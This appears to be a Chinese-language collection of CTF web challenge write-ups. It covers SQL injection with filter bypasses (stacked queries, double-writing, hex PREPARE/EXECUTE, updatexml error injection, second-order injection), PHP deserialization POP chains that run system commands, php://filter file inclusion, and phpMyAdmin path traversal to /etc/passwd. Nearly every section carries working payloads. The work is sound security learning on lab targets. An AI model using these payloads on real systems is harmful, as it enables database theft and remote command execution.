[SUCTF 2019]EasySQL
知道是sql注入就用测试语句测试一下
还有一些过滤,依次测试之后发现是and被过滤了,那么既然注入点这么明显,就测试一些注入的类型是什么,还是进行测试,首先如果只只有一个查询语句类似最简单的1'结果就是无回显,尝试之后发现注入方式是堆叠注入,直接暴库
得到几个库名,接着爆表名,这边用常规的查询语句发现还是被过滤了
1;SELECT tables FROM ctf;

还是测试过滤语句,测试结果是from被过滤了,这边用了大写也被过滤了,所以明显不能用大写绕过,那就不一个一个查直接整个查表名
得到flag的表名,一般到这边直接查字段名就可以了,但是这边from被禁用了,所以常用的查询语句还用不了,思路到这边就还是只能去尝试各种注入语句,看看能不能大致把他的拼接语句给猜出来,类似的如果注入语句是这样的话
show tables;show databases;
就会无回显
或者这样的话
1;show tables,databases;

只有第一个1有回显内容,所以payload的第一个要是数字,我们接着测试,刚刚输入1时会有回显,现在只输入0,发现无回显,输入字母也无回显
所以首个查询语句要是非零非字母的字符,但其实这边也可以联想到一个东西就是逻辑运算符,我们知道如果是||符号,如果两侧有一个是非的话整体就会是非,然后0或者字母其实都是非,和现在的情况很符合所以我们大可以往这方面猜想。那么假设有逻辑运算符,那么最简单的拼接方式就是select post[***] || ****
但是其实猜到这边还是没什么用,虽然和最后的拼接语句差不多,但是||后面的没猜到都是白瞎,真正的拼接语句是这样的
select $_POST['query'] || flag from Flag;
看到这个其实就很好构造了,首先我们要让前面的为真,然后在后面的语句上拼接一个select * 就可以达到查询的目的,所以最后的payload是这样
1;select *,1
拼接之后的注入语句就是这样
select *,1 || flag from Flag
可以简单的看出来这个语句的作用
[极客大挑战 2019]LoveSQL
还是先测试注入语句,最后得到的测试结果是这样子的
看看回显
可以看到 密码是被进行了一些转换的,这边要注意的是url栏中的结构
?username=1'+or+ 1%23&password=2
我们接着测试
可以看到后面2的闭合出现了问题在2后面加一个单引号
从这里看可以推测出后面的结构是'password',最后面多的单引号是和前面的闭合的大致是这样''name' and 'password'',接着测试
查列数到4时报错了,说明只有3列,接着找一下注入点
2和3都可以注入,我们选择2进行注入,暴库名
得到库名,爆表名
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=2

都去试一下直接爆字段即可
[强网杯 2019]随便注
还是先测试一下
禁用了select等一系列字符串
这边也去试过大写绕过等绕过方法绕不过去,尝试查库名
最后是用堆叠注入得到库名,到这里可以知道这题的闭合方式是单引号闭合,注入方式可能是堆叠注入,用同样的办法去查表名
接着我一个一个去查表名
1'; show columns from `1919810931114514`;#
这边用反引号的作用是区分开表名和整个sql语句,在Linux系统中不区分正反引号,在Windows系统中区分,在sql语法中,为了避免冲突字段名、列名等与sql语句冲突会使用反引号标识
得到flag的位置,但是select被禁用了,所以我们要用其他的方法,我们可以通过十六进制和prepare、execute的组合去进行拼接注入
1';PREPARE a from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE a;#
通过把select * from `1919810931114514`转换成十六进制来绕过select的禁用,为什么用十六进制是因为大部分数据库会自动识别十六进制并转换成ASCII字符,prepare用于预编译一个sql语句,语法可以像payload那样写其中a是定义的语句的名称,之后用execute执行预编译的指令,由于这题是堆叠注入所以可以很好的适配这个
prepare、execute这个组合也不止这种形式,例如execute后面还可以拼接其他的语句组合使用
[极客大挑战 2019]HardSQL

还是先进行测试,这个报错和上面那一题有点像,接着测试
还是有过滤的字符串,还是进行测试,我得到的结果是and、union、空格、--+、=、*等都被禁用了,这边又要尝试绕过,首先我们要写出来一个payload登录成功才能验证出正确的绕过方式,那就还是要测试,空格用()绕过、=用like绕过,and用^绕过,结合题目信息去搜索相应的绕过方式
尝试过其他注入都没什么特征,最后是报错注入,这题的注入点和上面的那个一样name和password都可以进行注入,暴库名
'^extractvalue(1,concat(0x7e,(select(database()))))%23

爆表名
'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

爆字段
'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

爆字段内容 得到的flag不完全,应该是输出长度被限制了,我们直接输出从左边开始的1000给字符
'^updatexml(1,concat(0x7e,(select(group_concat(left(password,1000)))from(H4rDsq1))),1)%23

发现还是输出不完全,那就从右边开始,一开始发现还是不行,最后是查30个才可以
这题手动测试这些都很费时间,测试也不一定完整,之后去找注入类型的时候也是很模糊,之前学的时候是说有报错的话可以考虑报错注入,但是也并不都是这样子,上面的题目也有报错的但是他是堆叠注入,还有那些绕过的办法,一开始也是很迷,后面去查有很多办法,也要一个一个去尝试,最后试不出来还要去看wp。
[极客大挑战 2019]BabySQL
这题和上面的两道题目是联动题,我们还是先进行测试
和上面那题应该一样,name和password都可以进行注入,接下来就是测试过滤的字符
可以看到or和by都被删去了,所以or和by都被过滤了,尝试大写绕过
双写绕过
是有变化的,考虑后面闭合没生效,用--+闭合
得到了正确的注入方式,但是直接用order by查不到字段数,我们用联合注入试试看 还是被过滤掉了,union和select,这边一开始去做还很迷因为双写绕不过去,后面发现他不是一整个把union过滤掉而是把它拆成uni和on,select则是拆成sel和ect,我们要这样双写才能绕过
可以看到2、3号位都能显示,接着暴库名
爆表名,这边要注意他把from和where也给过滤了,两个分别是被拆成fr和om,whe和re
username=1 &password=1' uniunionon selselectect 1,2,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek')--+

爆列名
username=1 &password=1' uniunionon selselectect 1,2,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql')--+

爆字段
username=1 &password=1' uniunionon selselectect 1,2,(selselectect group_concat(username,":",passwoorrd) frfromom b4bsql)--+

同样是绕过类型的考法,而且对于注入类型,这题可以说是联合注入,但是上面确实有报错信息,显然不是有报错就是报错注入,有报错只是要考虑报错注入,而不是就确定了
[极客大挑战 2019]PHP
打开环境是有提示的
应该是要用下载备份文件获得源码,但是现在不知道备份文件的文件名是什么,我们可以用dirsearch扫一下,扫出来是www.zip,访问下载解压
依次看看,首先这个flag.php中的flag是假的
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
从index.php中可以看到有一个反序列化参数select,主要的逻辑在class.php我们来理解一下,开头包含flag.php这个没什么用,后面定义一个类,下面有两个私有属性,一个自己构造的方法,两个魔术方法,自己定义的方法就是接受两个私有属性,把他重新赋值而已,__destruct要求password的值是100,后面有个if判断语句要求username等于admin,那其实这样也不用调用什么魔术,直接赋值就可以
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$a=serialize(@$select);
echo $a
?>

可以看到里面有一些字符的ASCIi值是有点大的url传参不支持,把特殊符号换成null的url编码%00即可,不换的话特殊字符识别不了整个反序列化的格式就错了
[极客大挑战 2019]BuyFlag

打开环境右边的menu可以buyflag,点进去
给了几个提示,要学生的身份,正确的密码,100000000的money,所以我们要改请求信息,我们先看看源码
在源码里面找到修改password和money的方法 ,但是password有验证不能是数字,password的值要被赋值成404,不能是数字那就字母和数字组合一下就好了,因为后面的比较是弱比较,那接下来就剩学生的身份了,我们抓包看看

要学生的身份,看了一下cookie那边最可能是验证的地方,本来像爆破的, 后面把0改成1发现可以通过验证,但是他说money字符串过长了
用科学计数法可以绕过
[GXYCTF2019]BabySQli
进去是一个登录界面,还是先测试一下,后面测试密码都是2
抓包看看
上面有一串注释掉的字符串,解码一下,解码的过程是先用base32,再用base64
给了一个变量name,现在还不知道整个要干嘛,还是接着测试
存在过滤字符测出来or、=\\、()被过滤掉了
想查一下username,但是不存在
tables也没有,database(),databases也没有
查列数是3列,猜一下username是admin,把他插入到联合注入语句中,这边测试了一下,一开始不加引号是直接说不存在,后面想到可能是Windows系统加了反引号也不行,后面是加单引号才可以
提示是密码错误,这边爆破一下密码,但是爆破不出来,用dirsearch扫一下也没什么东西,回想到上面解码出来的东西还没用呢,现在抓包看过之后发现name变量不就是账号的变量而已吗,所以这个应该是源码的查询语句,到这边就傻了,去看源码,看到了重要的验证
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
现在我们理一下,首先我们知道有一个表叫username,下面有三个字段但是我们只知道其中两个字段name和pw,猜测一下这边他要把password进行MD5加密之后和arr数组二号对比,那个这个二号位一个应该就是password,从0开始也就是三号位,于是就有这样的payload
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
到这里就知道为什么要加引号了,因为是传参成参数的内容,MD5解密的内容就是密码,这个是可以自己去定义的,这也想到了在学awd的时候有时候数据库就会把密码进行MD5加密,这个题目应该是要我们去猜到的
[BSidesCF 2020]Had a bad day
进来有连个选项,选择什么就会在url中赋值给变量category什么
看源码也没什么东西,用dirsearch扫也没什么东西,看形式感觉用php伪协议查一下url中的index.php 报错了,他自己帮我拼接了php我们把后缀删掉
解码
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>
</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>
代码审计,category参数必须有woofers,meowers,index,尝试搜一下flag
报错了,拼接之后没有这个文件,可能是层级问题一个一个尝试,在一层的源码中找到提示
所以我们目标是没错的,就是读取flag,还是用php伪协议
[网鼎杯 2020 朱雀组]phpweb
这题没几秒钟就要自动刷新一次,我们直接抓包,重放之后可以看到他有好几个变量
下面还有几个提示,主要是通过卡住func和p变量的值来控制id和name的值,之后会有对应的value用于执行什么,尝试一下用来执行php命令
可以看到确实有回显,但是被过滤掉了,接连试了好几个执行函数都被禁用了,我们可以尝试读源码
用最常用的file_get_contents,看到有一个文件直接读
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
代码审计,可以看到确实是禁用了很多执行函数,那我们要怎么进行执行呢,可以用php反序列化进行绕过
<?php
class Test{
public $p="ls /";
public $func="system";
}
$a=new Test();
echo serialize($a);
?>

没有flag,去查ls也没有,到这里就傻了,看wp用Linux中的find指令查flag
<?php
class Test{
public $p="find / -name flag*";
public $func="system";
}
$a=new Test();
echo serialize($a);
?>
但是是怎么判断是Linux系统呢?估计还是试出来的
直接cat
<?php
class Test{
public $p="cat /tmp/flagoefiu4r93";
public $func="system";
}
$a=new Test();
echo serialize($a);
?>

[GWCTF 2019]我有一个数据库
打开环境是乱码
我用的是火狐浏览器可以用alt打开工具修复
看一下源码也没什么,用dirsearch扫一下
像是数据库的后台管理平台,但是想在里面找点东西发现权限也不够,这边就去搜一下phpmyadmin整个数据库的漏洞,我们可以看到整个版本是4.8.1,搜索对应版本的漏洞https://www.cnblogs.com/liliyuanshangcao/p/13815242.html
原本是要先用执行语句写入session文件,之后包含session文件进行文件执行,我们可以想一下整个漏洞是整个数据库本身存在的,我们只是传入文件,执行的漏洞是他本身存在的,按照正常的思路是要找到注入点,注入sql语句,但是这边我找了没找到注入点,看漏洞本身其实就是一种目录穿越访问文件的漏洞,但是访问的文件却能被db_sql.php包含,如果包含的是php就能被执行,漏洞的本意是通过上传木马,并利用包含执行,这个目录穿越要绝对路径,所以我们大可以看一下数据库的隐私信息,目录层级要一个一个去试
?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以看到passwd这个文件本身不是执行文件,但是它可以显示出来,同理我们可以通过这个去得到flag
[MRCTF2020]Ezpop

直接进行代码审计,三个类最后传参的参数是pop,第一个类定义一个函数append会包含传入的参数,后面是一个魔术方法;第二个类其实就是把这个页面展示出来,利用wakeup这个魔术方法禁用了一些字符串;第三个类会调用this->p,所以我们可以通过定义这个参数结合第一个类的包含来执行命令,他用的是包含我们可以用php伪协议去输出flag.php文件的内容,其实题目的禁用也给了提示就是要用封装流去得到文件内容,因为flag.php内不一定是执行的代码,所以不一定可以的得到flag。最后的payload再用Unicode加密即可。
整理一下思路:wakeup魔术方法使得字符串比较,字符串被调用导致调用tostring魔术方法,调用之后由于输出对象不存在,所以调用了get魔术方法,这个是的参数变成函数,导致调用invoke魔术方法包含执行。最后进行Unicode加密即可
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>
[NPUCTF2020]ReadlezPHP
进去页面看没什么东西,看源码看到了一个类似的文件
访问一下 代码审计:传入的参数时data,只有一个类,两个属性,两个魔术方法,destruct这个方法下面的echo格式很想是一个函数里面一个参数,也就是说我们可以通过向ab传入参数进行命令执行,但是我想查列表的时候报错了,后面直接看phpinfo()里面就有flag
<?php
class HelloPhp
{
public $a = 'phpinfo()';
public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
?>

[SWPU2019]Web1
进来就是一个登录界面
尝试登录找注入点,要先去注册,我们随便注册一个账号登录进去,这里登录界面和注册界面都测过了都没有注入点
进来之后的页面是这样子,只有广告申请这个页面 尝试注入发现注入点
而且他还有过滤 测一下有哪些过滤,得到or、#、--+、空格、and等等
本来想用()代替空格的,后面发现不行,用/**/代替,还是查列数
要一个一个列数去猜最后的列数是22,给我整不自信了
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

发现2,3号位有回显,用2号爆库名
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

想直接爆表名,但是爆不出来,由于information_schema.tables被禁用了,我们要用innodb_table_stats这个表去报
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

接下来查字段就比较难,由于union的性质:前后查询的列数要一致,所以我们不能直接查select * from users ,而是要进行特殊的构造使union查询两方列数相等,我看到的payload是把三号位也写成一个select语句,为了避免列数不同,利用重构造(select 1,2 as a,3 as b union select * from users)a当users表中列数不同时通过别名兼容列的结构,最后用concat合并
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[RCTF2015]EasySQL
进去页面有注册和登录两选项,注册一个登录进去
里面就没什么东西了,我用dirsearch扫过也没什么,接着找注入点,点击用户名可以改密码,但是在这边也找不到
这边要回去注册界面用admin这个用户名进行注册,会发现用户名已存在
说明有管理用户,我们注册一个admin"#去登录,这边要双引号闭合,单引号不行,之后登录进去
用这个用户修改密码,修改后的密码就是admin的密码,我们可以利用这个二次注入漏洞登录admin
但是flag也不在这个账号里面,但是我们通过这个知道修改密码界面有二次注入的漏洞,之后通过报错注入暴库
1"&&(updatexml(1,concat(0x7e,database(),0x7e),1))#
先去注册这个名称,再去随意修改密码即可
这个还有过滤
测一下是and被过滤了,可以用逻辑运算符替换
1"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

接着爆字段,这边这个flag是假的,真的在users
1"||(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

爆字段内容,用regexp '^f'筛选f开头的字符串,本来想用通配符,但是被禁用了
1"||(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

可以看到不完整,本来以为是限制输出字数,但是去用right输出发现也被过滤了,后面是用reserve逆向输出后面内容
1"||(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

之后倒序拼接即可